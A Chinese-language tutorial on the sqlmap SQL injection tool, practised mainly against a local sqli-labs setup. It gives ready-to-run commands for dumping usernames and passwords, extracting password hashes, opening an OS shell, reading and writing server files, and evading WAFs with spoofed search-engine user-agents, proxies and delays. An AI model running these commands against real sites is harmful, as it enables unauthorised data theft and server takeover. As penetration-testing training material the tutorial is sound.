一、Sqlmap介绍

  Sqlmap是一个自动化的sql注入工具,其主要功能扫描、发现并利用给定url的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQLOracle、postgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebirdSybaseSAP MaxDB

  Sqlmap采用了以下5种独特的SQL注入技术

  1. 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入

  2. 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断

  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中

  4. 联合查询注入,在可以使用union的情况下的注入

  5. 堆查询注入,可以同时执行多条语句时的注入

  Sqlmap的强大功能包括数据库指纹识别、数据库枚举、数据库提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。Sqlmap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用sqlmap会有意想不到的效果

二、安装步骤

  1. 首先安装python,并配置好环境变量(D:\python3.8)
  2. 官网下载sqlmap并解压,我将解压后的文件夹命名为sqlmap
  3. 将sqlmap拷贝到python目录下

img

  1. 配置sqlmap的环境变量(D:\python3.8\sqlmap)
  2. 打开命令行,输入sqlmap.py即可

三、Sqlmap入门

1、判断是否存在注入

  拿到一个站点,首先得判断它是否有注入

  假定注入点是http://127.0.0.1/sql/Less-1/?id=1,判断其是否存在注入的命令如下:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1

  嫌麻烦输入y,可以加个–batch,所有都默认

  -u--url指定目标

  显示结果如图所示

img

  还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所示

Sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2"

2、判断文本中的请求是否存在注入

  从文件中加载HTTP请求,sqlmap可以从一个文本文档中获取HTTP请求,这样就可以不设置其他参数(如cookie,POST数据等等),txt文件中的内容为web数据包(一般可以使用burp抓包),如下图所示

  判断是否存在注入的命令如下图所示,运行后的结果如图所示

Sqlmap.py -r C:\Users\win7\Desktop\123.txt 

  -r从文件加载HTTP请求

img

img

3、查询当前用户下的所有数据库

  该命令是确定网站存在注入后,用户查询当前用户下所有的数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库,如图所示

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

img

4、获取数据库中的表名

  该命令的作用是查询完数据库后,查询指定数据库中的所有的表名,如下所示。如果在该命令中不加入-D参数来指定某一个具体的数据库,那么sqlmap会列出数据库中所有的表,如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

  -D DB,要进行枚举的数据库名

img

5、获取表中的字段名

  该命令的作用是查询完表名后,查询该表中所有的字段名,如下所示。运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

  -T TBL,要进行枚举的数据库表

  --columns枚举DBMS数据库表列

img

6、获取字段内容

  该命令的作用是查询完字段名之后,获取该字体中具体的数据信息,如下所示。运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C id,password,username --dump

  -C COL,要进行枚举的数据库列

  --dump 转储数据库管理系统的数据库中的表项

img

7、获取数据库中所有的用户

  该命令的作用是列出所有数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户,运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

  --users 枚举数据库管理系统用户

img

8、获取数据库用户的密码

  该命令的作用是列出所有数据库的用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解,运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --passwords

  --passwords 枚举数据库管理系统用户密码哈希

img

9、获取当前网站数据库的名称

  该命令的作用是列出当前网站使用的数据库,如下所示,运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db

  --current-db 检索数据库管理系统当前数据库

img

10、获取当前网站数据库的用户

  该命令的作用是列出当前网站使用的数据库用户,如下所示,运行该命令的结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

  --current-user 检索数据库管理系统的标识

img

11、报错注入(error based)

  无法发现报错位,但是数据库出错会爆出来

sqlmap -u [目标url] --current-db --batch --threads 10 --technique E

12、布尔型注入 (boolen based)

  无法发现报错位,数据库被破坏也无法爆出来,但是界面上只会出现有和没有东西两种情况

sqlmap -u [目标url] --current-db --batch --threads 10 --technique B

13、布尔型时间盲注 (time based)

sqlmap -u [目标url] --current-db --batch --threads 10 --technique T -v 3

14、标准注入(standard based)

sqlmap -u [目标url] --current-db --batch --threads 10 --technique S

15、联合注入(union based)

sqlmap -u [目标url] --dbs --batch --threads 10 --technique U

16、POST方面注入

  --data 后面跟的是post的数据;*号标哪,就是让sqlmap打哪

sqlmap -u [目标url] --data "uname=admin*&passwd=admin&submit=Submit" --current-db --batch --threads 10 --technique E

17、请求头注入

  在使用请求头注入的时候,–level必须大于3

sqlmap -u [目标url] --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0*" --level 4 --dbs --threads 10 --batch --technique E

  或者使用burp抓包,copy to file保存为shuju.txt,打开文件,在要注入的地方打*,然后

sqlmap -r "root/shuju.txt" --dbs --threads 10 --batch --technique E
sqlmap -u http://sqlilabs.njhack.xyz/Less-20/ --cookie="uname = admin*;__cfduid=dab97c3dd6a54c5ca485d3e880af5ce271605180690" --level 4 --dbs --threads 10 --batch --technique E

四、sqlmap进阶

1、–level 5:探测等级

  参数--level 5指需要执行的测试等级,一共有5个等级(1-5),可以用不同level,默认是1

  Sqlmap使用的payload可以在xml/payload.xml中可以看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、xff等头部注入。当然,level 5的运行速度也比较慢。

  这个参数会影响测试的注入点,get和post的数据都会进行测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会进行测试。总之,在不确定那个payload或者参数注入点时,为了保证全面性,为了保证全面性,建议使用高的level值

2、–is-dba:当前用户是否为管理权限

  该命令用户查看当前账户是否为数据库管理员账户,检测DBMS当前用户是否DBA。如下所示,在本案例中输入该命令,会返回true,结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba

img

3、–roles:列出数据库管理员的角色

  该命令用户查看数据库用户的角色,枚举数据库管理系统用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用**-U**参数(-U USER,用来进行枚举的数据库用户 )指定想看哪个用户的角色,结果如图所示:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --roles

img

4、–referer:HTTP Referer头

  Sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入。可以使用referer命令来欺骗。如:

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --referer http://www.baidu.com

  HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

5、sql-shell:运行自定义sql语句

  该命令用户执行指定的SQL语句,如下所示,假设执行select * from users limit 0,1 语句

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell

6、–os-cmd,–os-shell:运行任意操作系统命令

  该命令用户执行任意操作系统命令,如下所示

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --os-shell

  对于MySQL来说,实际上是写入两个文件,一个是上传文件的,一个是执行命令的,具体可以参考这篇文章:https://xz.aliyun.com/t/7942

  请特别注意:使用该命令有几个必须具备的条件

  1. 数据库用户是dba权限
  2. 知道网站的绝对路径
  3. php当中的gpc为off时,php自动转义为关闭状态
  4. 就算具备以上3个条件,因为涉及到系统命令,也未必可以执行成功

7、–file-read:从数据库服务器中读取文件

  该命令用于读取执行文件

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-read "要读取的文件路径"

8、–file-write,–file-dest:上传文件到数据库服务器中

  该命令用于上传文件

Sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-write "上传文件路径(相对路径)" --file-dest "目标文件系统绝对路径"

9、–proxy

  当遇到网站开启了流量检测,检测同一个IP的在某一时间的请求总数,我们可以使用代理池来绕过检测

10、–user-agent

  可以伪造User-Agent,因为Sqlmap自带的User-Agent是带有Sqlmap的指纹信息的,因此可以指定User-Agent防止被检测到是Sqlmap而被拦截

  比如这里使用burp抓包,可以看到有Sqlmap的指纹信息

img

  只要更改了代理就可以除去Sqlmap的指纹信息,绕过Waf的工具检测

  某网站开启了流量防护,但是如果网站开启了如果网站Waf设置了爬虫白名单,那么我们可以伪装成搜索引擎的User-Agent来进行绕过

sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --proxy="http://127.0.0.1:8888" --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)"

img

11、–random-agent

  随机指定代理

img

  可以在这里添加代理

img

12、–delay 延时

  每个HTTP请求之间的延迟(秒)

  当网站开启了CC流量防护等措施防止大量流量攻击时,我们可以使用--delay参数来减缓我们的请求速度

sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay=1